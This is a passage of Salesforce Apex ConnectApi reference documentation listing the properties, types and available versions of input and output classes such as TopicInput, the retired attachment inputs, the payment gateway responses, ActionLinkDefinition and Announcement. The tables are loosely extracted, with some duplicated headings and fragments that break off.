<td>Plain text for this segment. If hashtags or links are detected in <code>text</code>, they are included in the comment as hashtag and link segments. Mentions are not detected in <code>text</code> and are not separated out of the text. Mentions require ConnectApi.MentionSegmentInput.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- Edit a Comment
- Edit a Feed Element
- Edit a Question Title and Post
- Post a Rich-Text Feed Element with Inline Image
- ConnectApi.MessageBodyInput

### ConnectApi.TopicInput

Update a topic’s name or description or merge topics.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the topic</td>
<td>29.0</td>
</tr>
<tr>
<td>idsToMerge</td>
<td>List&lt;String&gt;</td>
<td>List of up to five secondary topic IDs to merge with the primary topic. If any of these secondary topics are managed topics, they lose their topic type, topic images, and children topics. Their feed items are reassigned to the primary topic.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.TargetCollectionUpdateInput
Available Version| Description | Type | Available Version |
---|---|---|---|
29.0| Name of the topic | String | 29.0 |

Use this property to change only the capitalization and spacing of the topic name.

SEE ALSO:
updateTopic(communityId, topicId, topic)

ConnectApi.TopicNamesInput
A list of topic names to replace currently assigned topics. Also a list of suggested topics to assign.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>topicNames</td>
<td>List&lt;String&gt;</td>
<td>A list of up to 10 topic names for a feed item or 100 topic names for a record.</td>
<td>Required</td>
<td>35.0</td>
</tr>
<tr>
<td>topicSuggestions</td>
<td>List&lt;String&gt;</td>
<td>A list of suggested topics to assign to a record or feed item to improve future topic suggestions.</td>
<td>Optional</td>
<td>37.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
reassignTopicsByName(communityId, recordId, topicNames)

</tbody>
</table>

#### Retired ConnectApi Input Classes
These ConnectApi input classes are retired.

**IN THIS SECTION:**
- ConnectApi.CanvasAttachmentInput
  Used to attach a canvas app to a feed item.
- ConnectApi.ContentAttachmentInput
  Used to attach existing content to a comment or feed item.
- ConnectApi.FeedItemAttachmentInput
  Used to attach a file to a feed item.
- ConnectApi.LinkAttachmentInput
  Add links to a feed item.
- ConnectApi.NewFileAttachmentInput
  Attach a new file to a feed item.
- ConnectApi.PollAttachmentInput
  Attach a poll to a feed item.

### ConnectApi.CanvasAttachmentInput
Used to attach a canvas app to a feed item.

⚠️ **Important:** This class isn't available in version 32.0 and later. In version 32.0 and later, use `ConnectApi.CanvasCapabilityInput`.

Subclass of `ConnectApi.FeedItemAttachmentInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Optional. The description of the canvas app.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>developerName</td>
<td>String</td>
<td>The developer name (API name) of the canvas app</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>height</td>
<td>String</td>
<td>Optional. The height of the canvas app in pixels. Default height is 200 pixels.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>namespacePrefix</td>
<td>String</td>
<td>Optional. The namespace prefix of the Developer Edition organization in which the canvas app was created.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>------------------</td>
<td>--------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>parameters</td>
<td>String</td>
<td>Optional. Parameters passed to the canvas app in JSON format. Example: [{'isUpdated': 'true'}]</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>Optional. A URL to a thumbnail image for the canvas app. Maximum dimensions are 120x120 pixels.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>The title of the link used to call the canvas app.</td>
<td>29.0–31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ContentAttachmentInput**

Used to attach existing content to a comment or feed item.

**Important**: This class isn’t available in version 32.0 and later. In version 32.0 and later, use `ConnectApi.ContentCapabilityInput`.

Subclass of `ConnectApi.FeedItemAttachmentInput`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>contentDocumentId</td>
<td>String</td>
<td>ID of the existing content.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedItemAttachmentInput**

Used to attach a file to a feed item.

**Important**: This class isn’t available in version 32.0 and later. In version 32.0 and later, use `ConnectApi.FeedElementCapabilityInput`.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

Superclass for:
- `ConnectApi.CanvasAttachmentInput`
- `ConnectApi.ContentAttachmentInput`
- `ConnectApi.LinkAttachmentInput`
- `ConnectApi.NewFileAttachmentInput`
- `ConnectApi.PollAttachmentInput`

**ConnectApi LinkAttachmentInput**

Add links to a feed item.

**Important**: This class isn’t available in version 32.0 and later. In version 32.0 and later, use `ConnectApi.LinkCapabilityInput`.

Subclass of `ConnectApi.FeedItemAttachmentInput`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>URL to be used for the link</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>urlName</td>
<td>String</td>
<td>Title of the link</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>
ConnectApi.NewFileAttachmentInput

Attach a new file to a feed item.

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.

The actual binary file, that is the attachment, is provided as part of the BinaryInput in the method that takes this attachment input, such as postFeedItem or postComment.

Subclass of ConnectApi.FeedItemAttachmentInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the file to be uploaded.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>The title of the file. This value is required and is also used as the file name. For example, if the title is My Title, and the file is a .txt file, the file name is My Title.txt.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

ConnectApi.PollAttachmentInput

Attach a poll to a feed item.

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.PollCapabilityInput.

Subclass of ConnectApi.FeedItemAttachmentInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>pollChoices</td>
<td>List&lt;String&gt;</td>
<td>The text labels for the poll items. Polls must contain between 2 to 10 poll choices.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

ConnectApi Output Classes

Most ConnectApi methods return instances of ConnectApi output classes.

All properties are read-only, except for instances of output classes created within test code.

All output classes are concrete unless marked abstract in this documentation.

All concrete output classes have no-argument constructors that you can invoke only from test code. See Testing ConnectApi Code.

ConnectApi.AbstractCartItem

A cart item.

This class is abstract.

Superclass of:

- ConnectApi.CartItem
- ConnectApi.CartItemWithoutPrice

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cartId</td>
<td>String</td>
<td>ID of the cart.</td>
<td>49.0</td>
</tr>
<tr>
<td>Property Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>---------------------</td>
<td>-------------------------------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>cartItemId</td>
<td>String</td>
<td>ID of the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>messagesSummary</td>
<td>ConnectApi.CartMessagesSummary</td>
<td>Messages summary for the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the item.</td>
<td></td>
</tr>
<tr>
<td>productDetails</td>
<td>ConnectApi.CartItemProduct</td>
<td>Summary of the product details.</td>
<td>49.0</td>
</tr>
<tr>
<td>productId</td>
<td>String</td>
<td>ID of the product.</td>
<td>49.0</td>
</tr>
<tr>
<td>quantity</td>
<td>String</td>
<td>Quantity of the item.</td>
<td>49.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.CartItemType</td>
<td>Type of item in a cart. Values are:</td>
<td>49.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• DeliveryCharge</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Product</td>
<td></td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.CartItemResult

ConnectApi.AbstractContentHubItemType

An item type associated with a repository folder.

This class is abstract.

Superclass of:

• ConnectApi.ContentHubItemTypeDetail
• ConnectApi.ContentHubItemTypeSummary

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>contentStream</td>
<td>ConnectApi.ContentHubStreamSupport</td>
<td>Support for content streaming. Values are:</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ContentStreamAllowed</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ContentStreamNotAllowed</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ContentStreamRequired</td>
<td></td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the item type.</td>
<td>39.0</td>
</tr>
<tr>
<td>displayName</td>
<td>String</td>
<td>Display name of the item type.</td>
<td>39.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the item type.</td>
<td>39.0</td>
</tr>
<tr>
<td>isVersionable</td>
<td>Boolean</td>
<td>Indicates whether the item type can have versions.</td>
<td>39.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the detailed information of the item type.</td>
<td>39.0</td>
</tr>
</tbody>
</table>
ConnectApi.AbstractDirectoryEntrySummary

A directory entry with summary information.

This class is abstract.

Superclass of:
- ConnectApi.RepositoryGroupSummary
- ConnectApi.RepositoryUserSummary

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>domain</td>
<td>String</td>
<td>Domain of the directory entry.</td>
<td>39.0</td>
</tr>
<tr>
<td>email</td>
<td>String</td>
<td>Email of the directory entry.</td>
<td>39.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the directory entry.</td>
<td>39.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.ContentHub DirectoryEntry Type</td>
<td>Type of directory entry. Values are:</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• GroupEntry</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• UserEntry</td>
<td></td>
</tr>
</tbody>
</table>

ConnectApi.AbstractExtensionInformation

Extension information.

This class is abstract.

Superclass of .ConnectApi.LightningExtensionInformation

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>extensionInformationType</td>
<td>ConnectApi.ExtensionInformationType</td>
<td>Information type of the extension. Values are:</td>
<td>40.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Lightning</td>
<td></td>
</tr>
</tbody>
</table>

ConnectApi.AbstractGatewayCommonResponse

Payment gateway response fields commonly used in payment services.

This class is abstract.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>gatewayAvsCode</td>
<td>String</td>
<td>Used to verify the address mapped to a payment method when the payments platform requests tokenization from the payment gateway.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayDate</td>
<td>Datetime</td>
<td>Date when the notification occurred. Some gateways don’t send this value.</td>
<td>50.0</td>
</tr>
</tbody>
</table>
ConnectApi.AbstractGatewayResponse

Payment gateway response fields used in sale, authorization, and capture services.

This class is abstract.

Subclass of ConnectApi.AbstractGatewayCommonResponse.

Super class of:
- ConnectApi.AuthReversalGatewayResponse on page 2118
- ConnectApi.AuthorizationGatewayResponse
- ConnectApi.CaptureGatewayResponse
- ConnectApi.RefundGatewayResponse

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>gatewayMessage</td>
<td>String</td>
<td>Error messages that the gateway returned for the notification request. Maximum length of 255 characters.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayResultCode</td>
<td>String</td>
<td>Gateway-specific result code. You can map the result code to a Salesforce-specific result code. Maximum length of 64 characters.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayResultCodeDescription</td>
<td>String</td>
<td>A description of the gateway-specific result code that a payment gateway returned. Maximum length of 1,000 characters.</td>
<td>50.0</td>
</tr>
<tr>
<td>salesforceResultCode</td>
<td>String</td>
<td>The Salesforce result code for the gateway result code.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayReferenceDetails</td>
<td>String</td>
<td>Provides information about the gateway communication.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayReferenceNumber</td>
<td>String</td>
<td>Unique transaction ID created by the payment gateway.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

ConnectApi.AbstractMessageBody

This class is abstract.

Superclass of:
- ConnectApi.FeedBody
- ConnectApi.MessageBody

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isRichText</td>
<td>Boolean</td>
<td>Indicates whether the body is rich text.</td>
<td>35.0</td>
</tr>
</tbody>
</table>
### messageSegments

**Type:** `List<ConnectApi.MessageSegment>`

**Description:** List of message segments

**Available Version:** 28.0

### text

**Type:** `String`

**Description:** Display-ready text. Use this text if you don’t want to process the message segments.

**Available Version:** 28.0

## ConnectApi.AbstractNBAAction

A recommended action of recommendation strategy.

This class is abstract.

Superclass of `ConnectApi.NBAFlowAction`.

### parameters

**Type:** `List<ConnectApi.NBAAction.Parameter>`

**Description:** List of parameters to pass to the action.

**Available Version:** 45.0

### type

**Type:** `ConnectApi.NBAActionType`

**Description:** Type of action. Values are:

- **Flow**—Automated process tool with multiple subtypes.

**Available Version:** 45.0

### ConnectApi.AbstractNBAAction

SEE ALSO:

- `ConnectApi.NBARecommendation`

## ConnectApi.AbstractNBATarget

A recommendation target of a recommendation strategy.

This class is abstract.

Superclass of `ConnectApi.NBANativeRecommendation`.

### type

**Type:** `ConnectApi.NBATargetType`

**Description:** Type of target. Values are:

- **Recommendation**

**Available Version:** 45.0

### ConnectApi.AbstractNBATarget

SEE ALSO:

- `ConnectApi.NBARecommendation`

### ConnectApi.AbstractRecommendation

A Chatter, custom, or static recommendation.
This class is abstract.

Superclass of:
- ConnectApi.EntityRecommendation
- ConnectApi.NonEntityRecommendation

ConnectApi.NonEntityRecommendation isn't used in version 34.0 and later. In version 34.0 and later, ConnectApi.EntityRecommendation is used for all recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>explanation</td>
<td>ConnectApi.RecommendationExplanation</td>
<td>The Chatter, custom, or static recommendation explanation.</td>
<td>32.0</td>
</tr>
<tr>
<td>platformActionGroup</td>
<td>ConnectApi.PlatformActionGroup</td>
<td>A platform action group instance with state appropriate for the context user.</td>
<td>34.0</td>
</tr>
<tr>
<td>recommendationType</td>
<td>ConnectApi.RecommendationType</td>
<td>Specifies the type of record being recommended.</td>
<td>32.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL for the Chatter, custom, or static recommendation.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.RecommendationsCapability
- ConnectApi.RecommendationCollection

ConnectApi.AbstractRecommendationExplanation

Explanation for a Chatter recommendation.

This class is abstract.

Superclass of ConnectApi.RecommendationExplanation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>summary</td>
<td>String</td>
<td>Summary explanation for the Chatter recommendation.</td>

</table>

**ConnectApi.AbstractRecordField**

A field on a record.

This class is abstract.

Superclass of:

• ConnectApi.BlankRecordField

• ConnectApi.LabeledRecordField

Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

⚠️ **Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.
### ConnectApi.RecordViewSection

A view of any record in the org, including a custom object record. This object is used if a specialized object, such as User or ChatterGroup, is not available for the record type.

This class is abstract.

Subclass of **ConnectApi.ActorWithId**

Superclass of:
- **ConnectApi.RecordSummary**
- **ConnectApi.RecordView**

### ConnectApi.AbstractRecordView

A view of any record in the org, including a custom object record. This object is used if a specialized object, such as User or ChatterGroup, is not available for the record type.

This class is abstract.

Subclass of **ConnectApi.ActorWithId**

Superclass of:
- **ConnectApi.RecordSummary**
- **ConnectApi.RecordView**

</tbody>
</table>

ConnectApi.AbstractUserMissionActivity

User activity associated with missions.
This class is abstract.
Superclass of:
- ConnectApi.UserMission
- ConnectApi.UserMissionActivity
### ConnectApi.UserMissionActivityCollection

The definition of an action link. Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>The action link URL. For example, a <code>ui</code> action link URL is a Web page. A <code>download</code> action link URL is a link to the file to download. <code>ui</code> and <code>download</code> action link URLs are provided to clients. An <code>api</code> or <code>apiAsync</code> action link URL is a REST resource. <code>api</code> and <code>apiAsync</code> action link URLs aren't provided to clients. Links to Salesforce can be relative. All other links must be absolute and start with <code>https://</code>.</td>
<td>33.0</td>
</tr>
<tr>

</tr>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>33.0</td>
</tr>
<tr>
<td>excludedUserId</td>
<td>String</td>
<td>ID of a single user to exclude from performing the action. If you specify an excludedUserId, you can't specify a userId.</td>
<td>33.0</td>
</tr>
<tr>
<td>groupDefault</td>
<td>Boolean</td>
<td>true if this action is the default action link in the action link group; false otherwise. There can be only one default action link per action link group. The default action link gets distinct styling in the Salesforce UI.</td>
<td>33.0</td>
</tr>
<tr>
<td>headers</td>
<td>List&lt;ConnectApi.RequestHeader&gt;</td>
<td>The request headers for the Api and ApiAsync action link types.</td>
<td>33.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The 18-character ID for the action link definition.</td>
<td>33.0</td>
</tr>
<tr>
<td>label</td>
<td>String</td>
<td>A custom label to display on the action link button. A label value can be set only in an action link template. Action links have four statuses: NewStatus, PendingStatus, SuccessStatus, and FailedStatus. These strings are appended to the label for each status: label, label Pending, label Success, label Failed. For example, if the value of label is “See Example,&quot; the values of the four action link states are: See Example, See Example Pending, See Example Success, and See Example Failed. An action link can use either label or labelKey to generate label names, it can't use both. If label has a value, the value of labelKey is None. If labelKey has a value other than None, the value of label is null.</td>
<td>34.0</td>
</tr>
<tr>
<td>labelKey</td>
<td>String</td>
<td>Key for the set of labels to show in the user interface. A set includes labels for these states: NewStatus, PendingStatus, SuccessStatus, FailedStatus. For example, if you use the Approve key, you get these labels: Approve, Pending, Approved, Failed. For a complete list of label keys, see Action Links Labels.</td>

|               |                       | Note: Escape quotation mark characters in the requestBody value.                                                                                                                                                                                                                                                                             |                   |
| requires      | Boolean               | true to require the user to confirm the action; false otherwise.                                                                                                                                                                                                                                                                              | 33.0              |
| Confirmation  |                       |                                                                                                                                                                                                                                                                                                                                      |                   |
| templateId    | String                | The ID of the action link template from which to instantiate this action link. If the action link isn’t associated with a template, the value is null.                                                                                                                                                                                             | 33.0              |
| type          | ActionLinkType        | Defines the type of action link. Values are:  
  - Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or FailedStatus based on the HTTP status code returned by your server.  
  - ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state until a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus or                                                                                                                                                               | 33.0              |
**ConnectApi.ActionLinkDiagnosticInfo**

Any diagnostic information that may exist for an executed action link. Diagnostic info is provided only for users who can access the action link.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagnosticInfo</td>
<td>String</td>
<td>Any diagnostic information returned when an action link is executed.</td>
<td>33.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL for this action link diagnostic information.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ActionLinkGroupDefinition**

The definition of an action link group. Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionLinks</td>
<td>List&lt;ConnectApi.ActionLinkDefinition&gt;</td>
<td>A collection of action link definitions that make up the action link group. Within an action link group, action links are displayed in the order listed in the</td>
<td>33.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionLinks</td>
<td>property of the <code>ConnectApi.ActionLinkGroupDefinitionInput</code> class. Within a feed item, action link groups are displayed in the order specified in the <code>actionLinkGroupIds</code> property of the <code>ConnectApi.AssociatedActionsCapabilityInput</code> class.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
| category | `ConnectApi.PlatformAction.GroupCategory` | Indicates the priority and location of the action links. Values are:  
- *Primary*—The action link group is displayed in the body of the feed element.  
- *Overflow*—The action link group is displayed in the overflow menu of the feed element. |
| createdDate | Datetime | ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z. |
| executions Allowed | `ConnectApi.ActionLink.ExecutionsAllowed` | Defines the number of times an action link can be executed. Values are:  
- *Once*—An action link can be executed only once across all users.  
- *OncePerUser*—An action link can be executed only once for each user.  
- *Unlimited*—An action link can be executed an unlimited number of times by each user. If the action link's `actionType` is `Api` or `ApiAsync`, you can't use this value. |
| expirationDate | Datetime | ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z, that represents the date and time this action group expires and can no longer be executed. If the value is `null`, there isn't an expiration date. |
| id | String | 18-character ID of the action link group definition. |
| modifiedDate | Datetime | ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z. |
| templateId | String | The ID of the action link group template from which to instantiate this action link group, or `null` if this group isn't associated with a template. |
| url | String | The URL for this action link group definition. |
ConnectApi.ActivitySharingResult

The results of sharing a captured email or event.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>success</td>
<td>Boolean</td>
<td>Whether the share operation succeeded or not.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

<td>String</td>
<td>Name of the country</td>
<td>28.0</td>
</tr>
<tr>
<td>formattedAddress</td>
<td>String</td>
<td>Formatted address per the locale of the context user</td>
<td>28.0</td>
</tr>
<tr>
<td>state</td>
<td>String</td>
<td>Name of the state, province, or so on</td>
<td>28.0</td>
</tr>
<tr>
<td>street</td>
<td>String</td>
<td>Street number</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### ConnectApi.AdjustOrderSummaryOutputRepresentation

Output representation of the financial changes for an adjust items action. For a preview action, these values are the expected output. For a submit action, these values are the actual output.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changeBalances</td>
<td>ConnectApi.ChangeItemOutputRepresentation on page 2133</td>
<td>Expected (for preview) or actual (for submit) financial values for the price adjustment action. Most of the values match the change order values. If two change orders are returned, then these values combine them. The sign of a value in this output is the opposite of the corresponding value on a change order record. For example, a discount is a positive value in changeBalances and a negative value on a change order record.</td>
<td>49.0</td>
</tr>
<tr>
<td>orderSummaryId</td>
<td>String</td>
<td>ID of the OrderSummary.</td>
<td>49.0</td>
</tr>
<tr>
<td>postFulfillmentChangeOrderId</td>
<td>String</td>
<td>ID of the change Order that holds the financial changes applicable to order products that have been fulfilled. For an adjustPreview call, this value is always null.</td>
<td>49.0</td>
</tr>
<tr>
<td>preFulfillmentChangeOrderId</td>
<td>String</td>
<td>ID of the change Order that holds the financial changes applicable to order products that have not been fulfilled. For an adjustPreview call, this value is always null.</td>
<td>49.0</td>
</tr>
</tbody>
</table>

### ConnectApi.Alternative

Alternative representation for an extension on a feed element.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>textRepresentation</td>
<td>String</td>
<td>Text representation of the extension.</td>
<td>40.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>Thumbnail URL for the extension.</td>
<td>40.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the extension.</td>
<td>40.0</td>
</tr>
</tbody>
</table>
ConnectApi.Announcement

An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it's deleted or replaced by another announcement.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>expirationDate</td>
<td>Datetime</td>
<td>The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your own UI.</td>
<td>31.0</td>
</tr>
<tr>
<td>feedElement</td>
<td>ConnectApi.FeedElement</td>
<td>The feed element that contains the body of the announcement and its associated comments, likes, and so on.</td>
<td>31.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>isArchived</td>
<td>Boolean</td>
<td>Specifies whether the announcement is archived.</td>
<td>36.0</td>
</tr>
<tr>
<td>sendEmails</td>
<td>Boolean</td>
<td>Specifies whether the announcement is sent as an email to all group members.</td>
<td>36.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL to the announcement.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.AnnouncementPage
ConnectApi.ChatterGroup

ConnectApi.AnnouncementPage

A collection of announcements.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>announcements</td>
<td>List&lt;ConnectApi.Announcement&gt;</td>
<td>A collection of ConnectApi.Announcement objects.</td>
<td>31.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>31.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn't a next page.</td>
<td>31.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn't a previous page.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

ConnectApi.ApprovalCapability

If a feed element has this capability, it includes information about an approval.
Subclass of ConnectApi.FeedElementCapability.
### Property Name | Type | Description | Available Version
--- | --- | --- | ---
| id | String | The work item ID. The work item ID is null if there isn’t a pending work item associated with the approval record. | 32.0 |
| postTemplate Fields | List<ConnectApi.ApprovalPostTemplateField> | The details of the approval post template field. | 32.0 |
| processInstanceStepId | String | The process instance step ID. The associated record represents one step in an approval process. | 32.0 |
| status | ConnectApi.WorkflowProcessStatus | The status of the approval. | 32.0 |

SEE ALSO:
- ConnectApi.FeedElementCapabilities

#### ConnectApi.ApprovalIntent
Approval intent for a social post.

### Property Name | Type | Description | Available Version
--- | --- | --- | ---
| isRecallable | Boolean | Specifies whether the social post can be recalled (true) or not (false). | 45.0 |

SEE ALSO:
- ConnectApi.SocialPostIntents

#### ConnectApi.ApprovalPostTemplateField

| Name | Type | Description | Available Version
--- | --- | --- | ---
| displayName | String | The field name. | 28.0 |
| displayValue | String | The field value or null if the field is set to null. | 28.0 |
| record | ConnectApi.Reference | A record ID. If no record exists or if the reference is null, this value is null. | 28.0 |

SEE ALSO:
- ConnectApi.ApprovalCapability
**ConnectApi.ArticleItem**

Article item in question and answers suggestions.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>Id of the article.</td>
